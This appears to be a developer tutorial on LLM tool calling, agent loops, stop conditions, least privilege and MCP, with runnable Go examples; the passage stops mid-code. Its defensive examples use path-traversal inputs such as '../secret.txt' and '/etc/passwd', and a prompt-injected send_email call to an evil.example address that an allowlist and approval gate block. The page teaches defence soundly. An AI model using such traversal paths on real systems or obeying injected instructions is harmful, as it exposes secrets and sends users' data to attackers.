Agents & Tool Calling

The 30-second version

That's the whole idea. No model ever "executes" anything, browses on its own, or reaches into your database. It reads text and writes text. Everything that touches the real world happens in code you wrote, which means you decide what's allowed.

Here is that loop as a picture. You'll step through it with real tools in §05:

Why it matters

Without tools, a model can only use what it learned in training plus what you paste into the prompt. It can't know today's order status, and asking it anyway gets you a confident guess (a HallucinationHallucinationWhen a language model states something false with confidence: an invented citation, a function that doesn't exist, a wrong date. It happens because the model produces likely-sounding text, not checked facts.). With tools, it can look things up and take actions. That's powerful, and it's also where the new risks live: an agent can call the wrong tool, loop forever, run up a bill, or be tricked into doing something harmful.

What this page covers

Tool calling: the model asks, your code acts

Step 1: describe the tool

A tool definitionTool definitionWhat you send so the model knows a tool exists: a name, a plain-language description of when to use it, and a JSON Schema for its arguments. It's a description only; the code that does the work stays in your app. is three things: a name, a description that says when to use it, and a JSON SchemaJSON SchemaA standard JSON format for describing the shape of JSON data: which fields exist, their types, which are required. Used to validate data and, with LLMs, to constrain or check a model's structured output. that says what arguments it takes. Here's one, in the shape Anthropic's API uses (others are very similar):

{
  "name": "lookup_order",
  "description": "Look up one order by its id (format A-1234). Returns item, price in USD and days since delivery.",
  "input_schema": {
    "type": "object",
    "properties": { "order_id": { "type": "string", "pattern": "^A-[0-9]{4}$" } },
    "required": ["order_id"]
  }
}

Notice what's not there: the code. The model gets a description, like a menu item. The function lookupOrder lives in your app, and the model never sees it.

Steps 2 to 6: the round trip

You send the tool definitions along with the user's question. The model reads both and decides. If it can answer directly, it replies with text. If it needs data, it replies with a tool_use blocktool_use blockA piece of the model's reply that says “please call this tool with these arguments”: a type of "tool_use", an id, the tool's name and an input object. It's a request, not an action; nothing has run yet.: "call lookup_order with order_id: "A-1042"". Follow the six arrows (the model's two replies, ② and ⑥, are illustrative: written by hand to show the shape):

1. Your app sends the question plus the tool definitions.
2. The model replies (illustrative) with a tool_use request instead of an answer. Nothing has happened yet.
3. Your app reads the request and calls its own function, lookupOrder("A-1042").
4. The function returns {price: 84, …} like any normal function.
5. Your app calls the model again with the whole conversation so far, plus a tool_resulttool_result blockWhat your code sends back after running a tool: the result (or the error message) plus the tool_use_id of the request it answers, so the model can match answers to questions. holding that data.
6. The model now has the facts and writes the answer (illustrative: "Yes, you'd get $71.40…").

Two model calls for one question. That's normal: the API is stateless (Prompting §02), so step 5 re-sends everything, including the model's own tool request from step 2.

"The model never executes anything"

This is the most important sentence on the page, so here it is again in concrete terms. Between step 2 and step 5, your code is in full control. It can:

• check the arguments (is A-1042 a real order id, and does this user own it?),
• refuse (this tool isn't allowed for this user),
• ask a person first (before anything that sends money or deletes data),
• run it, and report errors honestly.

Every safety technique in §04, §07 and §08 lives in that gap. A model that "decides to delete a file" has only written a request. Whether the file gets deleted is up to you.

The request and the reply, field by field

This section uses Anthropic's Messages API, as of October 2026 (checked against the official API reference). OpenAI's and Google's APIs work the same way with different field names: they usually talk about "function calls", and the result goes back as a function-result item or a message with a "tool" role rather than a tool_result block (the exact names differ between their APIs). Learn one, and the others take ten minutes.

Call 1: the question and the tools

The request is the same as any chat request (Prompting §02) plus one field, tools:

{
  "model": "claude-opus-5-5",
  "max_tokens": 16000,
  "system": "You are a support assistant for an online shop. Use the tools to look things up; never guess order details.",
  "tools": [
    { "name": "lookup_order", "description": "Look up one order by its id …", "input_schema": { … } },
    { "name": "get_refund_policy", "description": "Return the current refund policy …", "input_schema": { … } },
    { "name": "calculator", "description": "Do one arithmetic operation on two numbers …", "input_schema": { … } }
  ],
  "messages": [
    { "role": "user", "content": "Can I return order A-1042? How much would I get back?" }
  ]
}

Reply 1: two tool requests

The reply's content is a list of content blocksContent blockOne typed piece of a model's reply, such as {"type": "text", "text": "…"}. A reply can hold several blocks of different types, so code should pick the blocks it wants by type instead of assuming the first one is text.. This one has a thinking block, a short text block and two tool_use blocks. The content is illustrative; the block types and fields are the real ones:

{
  "stop_reason": "tool_use",
  "content": [
    { "type": "thinking", "thinking": "", "signature": "EqQBCkYIBxgC…" },
    { "type": "text", "text": "Let me check the order and the refund policy." },
    { "type": "tool_use", "id": "toolu_01", "name": "lookup_order", "input": { "order_id": "A-1042" } },
    { "type": "tool_use", "id": "toolu_02", "name": "get_refund_policy", "input": {} }
  ]
}

The first block is a thinking blockThinking blockA content block holding the model's reasoning, or an empty placeholder for it, plus a signature. On current Claude models (as of October 2026) replies usually include them. You don't have to read them, but you must send them back exactly as received.. As of October 2026, claude-opus-5-5 always thinks before answering; by default the reasoning text is left out (""), but the block and its signature arrive anyway. Your code doesn't read it. It just has to send it back untouched, which the next step does.

Three fields do the work:

• stop_reasonStop reasonA field in the API response that says why the model stopped writing: it finished, it hit max_tokens, it wants to call a tool, or it declined. Check it before trusting the text. is "tool_use": "I stopped because I want tools run". Check it first. "end_turn" means a final answer; "max_tokens" means the reply was cut off; "refusal" means the model declined.
• id names each request. You'll need it in a moment.
• input is the arguments, already parsed as a JSON object. Still untrusted: §04.

Asking for two tools in one reply is called parallel tool callsParallel tool callsWhen one model reply contains several tool_use blocks at once, e.g. “look up the order” and “get the policy”. Your code can run them at the same time and must send all the results back together in one message.. The model didn't need the order to fetch the policy, so it asked for both at once. Your code can run them at the same time.

Call 2: append, then answer every request

Your code runs both functions and sends a new request. The messages list now has three entries: the original question, the model's reply exactly as received (as an assistant message), and a user message holding both results:

"messages": [
  { "role": "user", "content": "Can I return order A-1042? How much would I get back?" },
  { "role": "assistant", "content": [ …all four blocks from reply 1, unchanged… ] },
  { "role": "user", "content": [
    { "type": "tool_result", "tool_use_id": "toolu_01",
      "content": "{\"id\":\"A-1042\",\"item\":\"Desk lamp\",\"price\":84,\"delivered_days_ago\":11}" },
    { "type": "tool_result", "tool_use_id": "toolu_02",
      "content": "{\"window_days\":30,\"restocking_fee\":0.15}" }
  ] }
]

Each result says which request it answers through tool_use_id, so the order of the results doesn't matter. The content is usually a string; JSON text is fine. (The tools, system prompt and model fields are sent again too: every call is complete on its own.)

The model then asks for the calculator (one more round trip just like this one), and finally replies with stop_reason: "end_turn" and a text block (illustrative): "Yes: it arrived 11 days ago… You'd get $71.40 back."

When a tool fails

If the function throws, don't drop the result and don't invent one. Send the error message with is_error: true:

{ "type": "tool_result", "tool_use_id": "toolu_01", "content": "order service timed out after 5s", "is_error": true }

The model reads it and can retry, try another tool, or tell the user it couldn't check. If you send nothing, or an empty "success", it will often carry on as if the call worked. §05 lets you watch that happen.

Rules that bite

Designing tools, and never trusting their arguments

The description is a prompt

The model has nothing to go on except what you wrote in the tool definitionTool definitionWhat you send so the model knows a tool exists: a name, a plain-language description of when to use it, and a JSON Schema for its arguments. It's a description only; the code that does the work stays in your app.. Vague descriptions lead to the wrong tool, missing arguments, or a tool used for something it can't do.

{
  "name": "get_data",
  "description": "Gets data.",
  "input_schema": {
    "type": "object",
    "properties": { "id": { "type": "string" } }
  }
}

{
  "name": "lookup_order",
  "description": "Look up one order by its id (format A-1234). Returns item, price in USD and days since delivery. Use it before answering any question about a specific order.",
  "input_schema": {
    "type": "object",
    "properties": { "order_id": { "type": "string", "pattern": "^A-[0-9]{4}$" } },
    "required": ["order_id"],
    "additionalProperties": false
  }
}

A checklist that covers most problems:

• Name says the action and the thing: lookup_order, send_invoice_email, not do_it or helper2.
• Description says when to use it, what it returns, and its limits: units ("price in USD"), formats ("id like A-1234"), and what it can't do ("only orders from the last 2 years").
• Schema is as tight as the truth: an enum for a fixed set of values, a pattern for ids, minimum/maximum for numbers, required for what must be there, additionalProperties: false to reject surprises.
• Few tools, clearly different. Two tools with overlapping descriptions (search_orders and find_order) make the model guess. Merge or sharpen them.
• Errors that teach. "order_id must look like A-1234 (got 1042)" lets the model fix its next call; "invalid input" doesn't.

Why validate what the model sends?

Because the model can be wrong, and it can be steered. It may send a number as a string, forget a field, or invent an extra option. Worse, if any text the model read came from outside (a web page, an email, a file: see §08), that text can push it into sending arguments chosen by an attacker. A file name like ../.env is the classic: a Path traversalPath traversalEscaping a folder by putting ../ (or an absolute path, or a symlink) in a file name the server opens, e.g. ?name=../../etc/passwd. Also called directory traversal. that climbs out of the folder you meant to allow.

Try it. Each set of arguments goes through four checks, for real, in your browser. Then switch to the loose schema, and then turn the path check off:

{
  "type": "tool_result",
  "tool_use_id": "toolu_07",
  "content": "- buy milk\n- renew passport\n- call the plumber"
}

Three lessons from the playground:

1. The schema catches shape mistakes cheaply: missing fields, wrong types, extra fields, out-of-range numbers. Return the exact error with is_error: true and the model usually fixes its next call.
2. A schema is not a security boundary. The strict pattern happens to block ../, but one loosened schema and it's gone. Security checks belong in the code that does the dangerous thing.
3. Your own check is the real wall. Resolve the path, then confirm it's still inside the allowed folder. With the check off, the loose schema plus a traversal reads .env.

The check, in Go and JavaScript

Here's a read_note tool that can only read from one folder, whatever name the model sends. Both versions were run against a notes/ folder holding todo.md and an empty sub/ folder, with a secret.txt one level up:

package main

import (
	"errors"
	"fmt"
	"io"
	"os"
)

// read_note tool: the model supplies name. Treat it like any untrusted input.
func readNote(notes *os.Root, name string) (string, error) {
	if len(name) == 0 || len(name) > 100 {
		return "", errors.New("name must be 1 to 100 characters")
	}
	f, err := notes.Open(name) // ← os.Root refuses any path that leaves the folder
	if err != nil {
		return "", err
	}
	defer f.Close()
	b, err := io.ReadAll(f)
	return string(b), err
}

func main() {
	notes, err := os.OpenRoot("notes") // the only folder this tool may read
	if err != nil {
		panic(err)
	}
	defer notes.Close()

	for _, name := range []string{"todo.md", "../secret.txt", "/etc/passwd", "sub/../todo.md"} {
		text, err := readNote(notes, name)
		if err != nil {
			fmt.Printf("%q → error: %v\n", name, err)
			continue
		}
		fmt.Printf("%q → %q\n", name, text)
	}
}

Real output (Go 1.24, Node 22):

"todo.md" → "buy milk\n"
"../secret.txt" → error: openat ../secret.txt: path escapes from parent
"/etc/passwd" → error: openat /etc/passwd: path escapes from parent
"sub/../todo.md" → "buy milk\n"

The agent loop, step by step

One question, several turns

A single tool call is one extra round trip. An agent loopAgent loopThe while-loop at the heart of every agent: call the model; if it asked for tools, run them, add the results to the conversation and call it again; stop when it gives a final answer or a limit is hit. just keeps going: the model sees each result and decides what to ask for next. For the refund question it needs three model calls: one to fetch the order and policy (in parallel), one to use the calculator, and one to write the answer.

Step through it below. The tools are real functions, and the token counts are real. The model's turns are illustrative: a scripted stand-in that follows fixed rules. Watch three things: the run on the left, the message list growing on the right, and the token meter under it.

Now break it

Use the toggles. Each one shows a failure you will meet in real systems:

• lookup_order fails once. The error goes back with is_error: true. The model retries, the second call works, and you pay for one extra turn. This is the loop working as designed.
• …and your code swallows the error. A one-line bug, catch { return { content: "" } }, turns a failure into a fake success. The model can't tell, carries on, and makes up the price. The final answer is fluent, confident and wrong, and nothing in your logs says "error". This is a HallucinationHallucinationWhen a language model states something false with confidence: an invented citation, a function that doesn't exist, a wrong date. It happens because the model produces likely-sounding text, not checked facts. you caused.
• lookup_order fails every time, max turns 6. The stand-in model keeps retrying. After 6 calls your loop stops and tells the user it couldn't help. Annoying, cheap, safe.
• …with no max turns. Now only the token budgetToken budgetA cap your code sets on how many tokens one agent run may use in total, across all its model calls. When the next call would go over, the loop stops. stops it. It takes 13 calls and 10,763 input tokens to learn nothing: a runaway loopRunaway loopAn agent run that never finishes on its own: the model keeps calling tools (often the same failing one) and every turn costs more than the last. Only your stop conditions end it.. Look at the per-call numbers: each call is bigger than the last because it re-sends everything.

Why cost grows faster than turns

Every call sends the whole conversation so far (Prompting §02). Here each turn adds about 90 tokens (the model's request plus the tool's result), so call 1 sends about 240, call 2 about 390, call 10 about 1,100. The total is the sum of a growing series, so it grows much faster than the number of turns: in the runs below, about twice the turns cost three and a half times the tokens. The real numbers from the stepper:

These runs are tiny. Real agents read files and web pages, so each turn can add thousands of tokens, and a stuck agent can burn through a serious bill in minutes.

Stop conditions: every loop needs a way out

A stop conditionStop conditionA rule in your loop that ends an agent run no matter what the model wants: a maximum number of turns, a token or money budget, a deadline, or too many errors in a row. ends the run no matter what the model wants. Use several, because each catches a different failure:

When a stop condition fires, fail politely and visibly: tell the user it couldn't finish, log why, and keep the transcript for debugging. A loop that silently returns an empty answer is just a different kind of hallucination.

The loop in Go and JavaScript

Below, the model is a fake modelFake (scripted) modelA stand-in for the real model API in tests and demos: a function that returns hand-written replies in a fixed order, so the loop around it can be run and tested without a network or an API key.: a function that returns hand-written replies in order. That makes the whole program run without a network or an API key, and it is exactly how you unit-test an agent loop. The tools and the loop are real. (Go syntax is explained in the Go primer.)

package main

import (
	"encoding/json"
	"errors"
	"fmt"
	"math"
	"sync"
)

// Messages keep every content block as raw JSON, exactly as received. Blocks this code
// never reads (such as thinking blocks) are sent back byte for byte.
type Message struct {
	Role    string            `json:"role"`
	Content []json.RawMessage `json:"content"`
}

type Reply struct {
	StopReason string            `json:"stop_reason"`
	Content    []json.RawMessage `json:"content"`
}

// Block holds the few fields we read from a content block. Decoding ignores the rest.
type Block struct {
	Type  string          `json:"type"`
	Text  string          `json:"text,omitempty"`
	ID    string          `json:"id,omitempty"`    // tool_use: the call's id
	Name  string          `json:"name,omitempty"`  // tool_use: which tool
	Input json.RawMessage `json:"input,omitempty"` // tool_use: the arguments, still raw JSON
}

type ToolResult struct {
	Type      string `json:"type"` // always "tool_result"
	ToolUseID string `json:"tool_use_id"`
	Content   string `json:"content"`
	IsError   bool   `json:"is_error,omitempty"`
}

// raw turns any value into a raw JSON block.
func raw(v any) json.RawMessage {
	b, _ := json.Marshal(v) // our own structs: can't fail
	return b
}

// ---- Real tools: plain functions over in-memory data ----
type Order struct {
	ID               string  `json:"id"`
	Item             string  `json:"item"`
	Price            float64 `json:"price"`
	DeliveredDaysAgo int     `json:"delivered_days_ago"`
}

var orders = map[string]Order{
	"A-1042": {ID: "A-1042", Item: "Desk lamp", Price: 84, DeliveredDaysAgo: 11},
}

var tools = map[string]func(json.RawMessage) (any, error){
	"lookup_order": func(in json.RawMessage) (any, error) {
		var args struct {
			OrderID string `json:"order_id"`
		}
		if err := json.Unmarshal(in, &args); err != nil {
			return nil, err
		}
		o, ok := orders[args.OrderID]
		if !ok {
			return nil, fmt.Errorf("no order with id %s", args.OrderID)
		}
		return o, nil
	},
	"get_refund_policy": func(json.RawMessage) (any, error) {
		return map[string]any{"window_days": 30, "restocking_fee": 0.15}, nil
	},
	"calculator": func(in json.RawMessage) (any, error) {
		var args struct {
			A  float64 `json:"a"`
			Op string  `json:"op"`
			B  float64 `json:"b"`
		}
		if err := json.Unmarshal(in, &args); err != nil {
			return nil, err
		}
		var r float64
		switch args.Op {
		case "+":
			r = args.A + args.B
		case "-":
			r = args.A - args.B
		case "*":
			r = args.A * args.B
		case "/":
			r = args.A / args.B
		default:
			return nil, fmt.Errorf("unknown op %s", args.Op)
		}
		return map[string]float64{"result": math.Round(r*100) / 100}, nil // round to cents
	},
}

// runTool runs one call. A failure becomes a tool_result with IsError, never a crash.
func runTool(call Block) ToolResult {
	res := ToolResult{Type: "tool_result", ToolUseID: call.ID}
	fn, ok := tools[call.Name]
	if !ok {
		res.Content, res.IsError = "unknown tool "+call.Name, true
		return res
	}
	out, err := fn(call.Input) // ← YOUR code runs the tool (validate call.Input first, §04)
	if err != nil {
		res.Content, res.IsError = err.Error(), true // ← tell the model
		return res
	}
	res.Content = string(raw(out))
	return res
}

// ---- The agent loop ----
func runAgent(task string, callModel func([]Message) (Reply, error), maxTurns int) (string, error) {
	msgs := []Message{{Role: "user", Content: []json.RawMessage{raw(Block{Type: "text", Text: task})}}}
	for turn := 1; turn <= maxTurns; turn++ {
		reply, err := callModel(msgs)
		if err != nil {
			return "", err // network or API error: no reply at all
		}
		msgs = append(msgs, Message{Role: "assistant", Content: reply.Content}) // ← exactly as received

		var calls []Block
		text := ""
		for _, rb := range reply.Content {
			var b Block
			if err := json.Unmarshal(rb, &b); err != nil {
				return "", err
			}
			switch b.Type {
			case "tool_use":
				calls = append(calls, b)
			case "text":
				text += b.Text
			} // other types (thinking, …) are kept above, unread
		}

		switch reply.StopReason {
		case "end_turn":
			if text == "" {
				return "", errors.New("no text in final reply")
			}
			return text, nil
		case "pause_turn":
			continue // a long server-side tool paused: call again to let it resume
		case "tool_use":
			// run the tools below
		default:
			return "", fmt.Errorf("model stopped: %s", reply.StopReason) // max_tokens, refusal, …
		}

		results := make([]ToolResult, len(calls))
		var wg sync.WaitGroup
		for i, c := range calls { // run them in parallel
			wg.Add(1)
			go func() {
				defer wg.Done()
				results[i] = runTool(c) // each goroutine writes only its own slot
			}()
		}
		wg.Wait()

		var content []json.RawMessage
		for i, c := range calls {
			flag := ""
			if results[i].IsError {
				flag = "ERROR "
			}
			fmt.Printf("turn %d: %s(%s) → %s%s\n", turn, c.Name, c.Input, flag, results[i].Content)
			content = append(content, raw(results[i]))
		}
		msgs = append(msgs, Message{Role: "user", Content: content}) // ← ALL results in ONE message
	}
	return "", fmt.Errorf("gave up after %d turns", maxTurns) // ← the stop condition that saves you
}

// ---- A FAKE model: replays canned replies (written by hand), so this runs without an API key ----
func fakeModel(replies ...Reply) func([]Message) (Reply, error) {
	return func([]Message) (Reply, error) {
		r := replies[0]
		replies = replies[1:] // the closure remembers how far it got
		return r, nil
	}
}

func use(id, name, input string) json.RawMessage {
	return raw(Block{Type: "tool_use", ID: id, Name: name, Input: json.RawMessage(input)})
}

func said(text string) json.RawMessage { return raw(Block{Type: "text", Text: text}) }

type blocks = []json.RawMessage

func main() {
	answer, err := runAgent("Can I return order A-1042? How much would I get back?", fakeModel(
		Reply{"tool_use", blocks{
			said("Let me check the order and the refund policy."),
			use("toolu_1", "lookup_order", `{"order_id":"A-1042"}`),
			use("toolu_2", "get_refund_policy", `{}`),
		}},
		Reply{"tool_use", blocks{use("toolu_3", "calculator", `{"a":84,"op":"*","b":0.85}`)}},
		Reply{"end_turn", blocks{said("Yes: it arrived 11 days ago, inside the 30-day window. You'd get $71.40 back ($84 minus the 15% restocking fee).")}},
	), 6)
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("answer:", answer)

	// A stubborn fake model that keeps retrying a lookup that can never succeed.
	stubborn := func([]Message) (Reply, error) {
		return Reply{"tool_use", blocks{use("toolu_9", "lookup_order", `{"order_id":"A-9999"}`)}}, nil
	}
	if _, err := runAgent("Can I return order A-9999?", stubborn, 3); err != nil {
		fmt.Println("stopped:", err)
	}
}

Real output (Go 1.24, Node 22). The second run is the stubborn model from §05, stopped by maxTurns:

turn 1: lookup_order({"order_id":"A-1042"}) → {"id":"A-1042","item":"Desk lamp","price":84,"delivered_days_ago":11}
turn 1: get_refund_policy({}) → {"restocking_fee":0.15,"window_days":30}
turn 2: calculator({"a":84,"op":"*","b":0.85}) → {"result":71.4}
answer: Yes: it arrived 11 days ago, inside the 30-day window. You'd get $71.40 back ($84 minus the 15% restocking fee).
turn 1: lookup_order({"order_id":"A-9999"}) → ERROR no order with id A-9999
turn 2: lookup_order({"order_id":"A-9999"}) → ERROR no order with id A-9999
turn 3: lookup_order({"order_id":"A-9999"}) → ERROR no order with id A-9999
stopped: gave up after 3 turns

The only difference between the two outputs is key order: Go's JSON encoder sorts map keys, so the policy prints restocking_fee first.

What the loop gets right

Each of these lines answers a failure from §05 or §03:

• messages.push({ role: "assistant", content: reply.content }): the whole reply goes back exactly as received, tool_use and thinking blocks included, or the tool_use_ids won't match and the thinking is lost.
• runTool turns every failure (unknown tool, bad input, exception) into a tool_result with is_error. Nothing is swallowed, nothing crashes the loop.
• All results go back in one user message.
• pause_turn (the API paused a long-running server-side tool, such as web search or the MCP connector from §09) just calls the model again, which lets it resume. Anything else (max_tokens, refusal) stops the run instead of being guessed at.
• maxTurns ends every run. In production, add a token budget and a deadline too (§05, §11).

Swapping in the real model

To use a real model, replace fakeModel with a function that calls the API and returns its JSON. The loop stays the same, because it already sends every block back exactly as it came. This is Anthropic's Messages API as of October 2026; it is not run here (needs an API key):

package main // same package as agent.go: it reuses Message and Reply

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"os"
)

var apiURL = "https://api.anthropic.com/v1/messages"

// The same three tools, described for the model (name, description, JSON Schema).
const toolsJSON = `[
  {"name": "lookup_order",
   "description": "Look up one order by its id (format A-1234). Returns item, price in USD and days since delivery.",
   "input_schema": {"type": "object", "properties": {"order_id": {"type": "string", "pattern": "^A-[0-9]{4}$"}},
                    "required": ["order_id"], "additionalProperties": false}},
  {"name": "get_refund_policy",
   "description": "Return the current refund policy: the return window in days and the restocking fee as a fraction.",
   "input_schema": {"type": "object", "properties": {}, "additionalProperties": false}},
  {"name": "calculator",
   "description": "Do one arithmetic operation on two numbers. Use it for every calculation instead of doing maths yourself.",
   "input_schema": {"type": "object", "properties": {"a": {"type": "number"}, "op": {"enum": ["+", "-", "*", "/"]}, "b": {"type": "number"}},
                    "required": ["a", "op", "b"], "additionalProperties": false}}
]`

type request struct {
	Model     string          `json:"model"`
	MaxTokens int             `json:"max_tokens"`
	System    string          `json:"system"`
	Tools     json.RawMessage `json:"tools"`
	Messages  []Message       `json:"messages"`
}

// callModel is the real version of fakeModel: same input, same Reply out.
func callModel(msgs []Message) (Reply, error) {
	var body bytes.Buffer
	enc := json.NewEncoder(&body)
	enc.SetEscapeHTML(false) // keep earlier blocks' bytes exactly as the API sent them
	err := enc.Encode(request{
		Model:     "claude-opus-5-5",
		MaxTokens: 16000,
		System:    "You are a support assistant for an online shop. Use the tools to look things up; never guess order details.",
		Tools:     json.RawMessage(toolsJSON), // ← sent on every call
		Messages:  msgs,
	})
	if err != nil {
		return Reply{}, err
	}
	req, err := http.NewRequest("POST", apiURL, &body)
	if err != nil {
		return Reply{}, err
	}
	req.Header.Set("content-type", "application/json")
	req.Header.Set("x-api-key", os.Getenv("ANTHROPIC_API_KEY")) // never hard-code the key
	req.Header.Set("anthropic-version", "2026-10-21")

	res, err := http.DefaultClient.Do(req)
	if err != nil {
		return Reply{}, err
	}
	defer res.Body.Close()
	if res.StatusCode != http.StatusOK {
		msg, _ := io.ReadAll(res.Body)
		return Reply{}, fmt.Errorf("API error %s: %s", res.Status, msg)
	}
	var reply Reply
	err = json.NewDecoder(res.Body).Decode(&reply) // each block stays raw JSON
	return reply, err
}

How agents fail

You've already watched the first four in the §05 stepper. Here is the whole gallery, each with what you'd see and the fix.

// ✗ tool_use ids change when the model is asked again
await payments.refund({ order: input.order_id, idempotencyKey: call.id });

// ✓ the same real-world action always gets the same key
await payments.refund({ order: input.order_id, idempotencyKey: `refund:${input.order_id}` });

Least privilege, human approval, and injected instructions

Why tool results are dangerous

To a model, everything in its Context windowContext windowThe maximum number of tokens a model can consider at once: the system prompt, the conversation so far, any documents you pasted in, and the reply it is writing. Anything outside the window simply doesn't exist for the model. is one stream of text. Your system prompt, the user's question and a web page a tool fetched all arrive the same way. Delimiters and "ignore instructions in the data" rules help (Prompting §04), but they are not a wall: a well-written instruction inside data can still win.

So the question isn't "can the agent be tricked?" It's "if it's tricked, what can it do?" Try the three answers below. In all three, the model (illustrative) is fooled the same way; only the rules around it change, and with them what the trick can achieve:

Three layers, from strongest to weakest

The gate, in code

Each tool declares whether it reads or writes. The loop refuses any tool not on this run's AllowlistAllowlistA list of the things that ARE permitted (these hosts, these file types); everything else is refused. Safer than a blocklist, which tries to list everything that's bad and always misses something., and asks for approval before any write. Both checks happen in your code, before the tool runs, so they hold no matter what the model was told. (This fake approver always says no, so it runs unattended.)

package main

import (
	"encoding/json"
	"fmt"
	"slices"
)

type Call struct {
	ID    string
	Name  string
	Input map[string]any
}

type Result struct {
	ToolUseID string
	Content   string
	IsError   bool
}

// Every tool says how risky it is. "write" tools change the world.
type Tool struct {
	Risk string // "read" or "write"
	Run  func(map[string]any) (any, error)
}

var tools = map[string]Tool{
	"read_inbox": {"read", func(map[string]any) (any, error) {
		return []string{"Logo drafts", "Invoice system change", "Saturday?"}, nil
	}},
	"send_email": {"write", func(in map[string]any) (any, error) {
		return fmt.Sprintf("sent to %v", in["to"]), nil
	}},
}

// approve asks a person before any write. This fake approver always says no.
func approve(c Call) bool {
	fmt.Printf("  approval needed: %s %v → rejected\n", c.Name, c.Input)
	return false
}

func runTool(c Call, allowed []string) Result {
	fail := func(msg string) Result { return Result{c.ID, msg, true} }
	tool, ok := tools[c.Name]
	if !ok || !slices.Contains(allowed, c.Name) {
		return fail("unknown tool " + c.Name) // ← least privilege
	}
	if tool.Risk == "write" && !approve(c) {
		return fail("The user rejected this action.") // ← human gate
	}
	out, err := tool.Run(c.Input)
	if err != nil {
		return fail(err.Error())
	}
	b, _ := json.Marshal(out)
	return Result{c.ID, string(b), false}
}

func main() {
	evil := Call{"toolu_5", "send_email", map[string]any{"to": "billing-update@evil.example"}}

	fmt.Println("summarizer (allowed: read_inbox):")
	fmt.Printf("  %+v\n", runTool(evil, []string{"read_inbox"}))
	fmt.Println("assistant (allowed: read_inbox, send_email):")
	fmt.Printf("  %+v\n", runTool(evil, []string{"read_inbox", "send_email"}))
}

Real output (Go 1.24, Node 22):

summarizer (allowed: read_inbox):
  {ToolUseID:toolu_5 Content:unknown tool send_email IsError:true}
assistant (allowed: read_inbox, send_email):
  approval needed: send_email map[to:billing-update@evil.example] → rejected
  {ToolUseID:toolu_5 Content:The user rejected this action. IsError:true}

The rejection goes back to the model as an ordinary error result, so it can explain to the user what happened, and nothing breaks.

MCP: one standard plug for tools

The problem it solves

Everything so far had the tools inside your own program. That works until you want the same tools in many places: your chat app, your code editor, a coworker's agent. Without a standard, every app writes its own GitHub integration, its own database integration, its own file-system integration: 5 apps × 10 tools is 50 integrations.

With a shared protocol, each tool is wrapped once as an MCP serverMCP serverA program that offers tools, resources and prompts to AI apps over the MCP protocol, e.g. a GitHub server or a database server. It can run on your machine or somewhere on the internet., and each app implements MCP once. 5 + 10 instead of 5 × 10. It's the same idea as USB, or the Language Server Protocol that lets every editor support every programming language. MCP was introduced by Anthropic in 2024 and is now an open specification used across many AI apps and model providers.

Who talks to whom

{"jsonrpc": "2.0", "id": 1, "method": "tools/list"}

{"jsonrpc": "2.0", "id": 1, "result": {
  "resultType": "complete",
  "tools": [{
    "name": "search_issues",
    "description": "Search the issue tracker by text.",
    "inputSchema": {"type": "object",
      "properties": {"query": {"type": "string"}},
      "required": ["query"]}
  }],
  "ttlMs": 300000, "cacheScope": "private"
}}

• The hostMCP hostThe AI application the user actually uses, such as a chat app or a code editor. It runs the model conversation, holds one MCP client per connected server, and decides what the user must approve. is the app the user runs. It holds the model conversation, exactly like the loop in §06.
• Inside it, one clientMCP clientThe connector inside the host that talks to exactly one MCP server: it asks the server which tools it has, and forwards tool calls to it. per server keeps the connection.
• Messages are JSON-RPCJSON-RPCA tiny, old standard for calling a function on another program by sending JSON: {"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {…}}. The reply carries the same id plus a result or an error.: small JSON objects with a method (tools/list, tools/call), params, and an id that the reply repeats.
• A transportMCP transportHow MCP messages physically travel. stdio: the host starts the server as a child process and they exchange JSON lines over stdin and stdout. Streamable HTTP: the server is a web service and each message is an HTTP POST. carries them: stdio for a local server the host starts as a child process (messages are lines on its Standard inputStandard input (stdin)The stream a program reads its input from (file descriptor 0). By default it's your keyboard; a pipe or < can connect it to another program or a file instead. and Standard outputStandard output (stdout)The stream a program writes its normal output to (file descriptor 1). By default it's your terminal; > or | can send it to a file or another program.), or Streamable HTTP for a remote server (each message is an HTTP POST to one endpoint; replies are usually JSON or a short Server-sent eventsServer-sent events (SSE)A simple one-way stream from server to browser over one long-lived HTTP response. Each message is a line like data: hello, sent (and flushed) as soon as it's ready. stream). Remote servers can require login through OAuth 2.0OAuth 2.0A standard for letting an app act on a user's behalf at another service (“let this app read my calendar”) without giving it the user's password; the app gets a limited access token instead. (version 2.1 of it): the app gets a limited access token for the user instead of their password, and sends it with each request.

The model never talks to a server. The host does the translation in both directions: the server's tool list becomes ordinary tool definitions in the model request, and each tool_use the model writes becomes a tools/call to the right server.

What a server can offer

Tools are by far the most used. The host-side glue for them is small. Here it is, run on a tool list and a call result shaped like the spec's (trimmed: real results also carry fields such as resultType, ttlMs and cacheScope, which this code doesn't need):

package main

import (
	"encoding/json"
	"fmt"
	"strings"
)

// The parts of MCP's messages we need. Field names follow the MCP spec.
type MCPTool struct {
	Name        string          `json:"name"`
	Description string          `json:"description"`
	InputSchema json.RawMessage `json:"inputSchema"`
}

type MCPCallResult struct {
	Content []struct {
		Type string `json:"type"`
		Text string `json:"text"`
	} `json:"content"`
	IsError bool `json:"isError"`
}

// The model API's shapes.
type ToolDef struct {
	Name        string          `json:"name"`
	Description string          `json:"description"`
	InputSchema json.RawMessage `json:"input_schema"`
}

type ToolResult struct {
	Type      string `json:"type"`
	ToolUseID string `json:"tool_use_id"`
	Content   string `json:"content"`
	IsError   bool   `json:"is_error,omitempty"`
}

func toToolDef(t MCPTool) ToolDef { return ToolDef{t.Name, t.Description, t.InputSchema} }

func toToolResult(toolUseID string, r MCPCallResult) ToolResult {
	var texts []string
	for _, c := range r.Content {
		if c.Type == "text" {
			texts = append(texts, c.Text)
		}
	}
	return ToolResult{"tool_result", toolUseID, strings.Join(texts, "\n"), r.IsError} // ← isError → is_error
}

func main() {
	must := func(err error) {
		if err != nil {
			panic(err)
		}
	}
	var listed struct{ Tools []MCPTool }
	must(json.Unmarshal([]byte(`{"tools": [{"name": "search_issues", "description": "Search the issue tracker by text.",
	  "inputSchema": {"type": "object", "properties": {"query": {"type": "string"}}, "required": ["query"]}}]}`), &listed))
	var called MCPCallResult
	must(json.Unmarshal([]byte(`{"resultType": "complete", "isError": false,
	  "content": [{"type": "text", "text": "#412 Checkout times out on slow networks (open)"}]}`), &called))

	defs, _ := json.Marshal([]ToolDef{toToolDef(listed.Tools[0])})
	res, _ := json.Marshal(toToolResult("toolu_03", called))
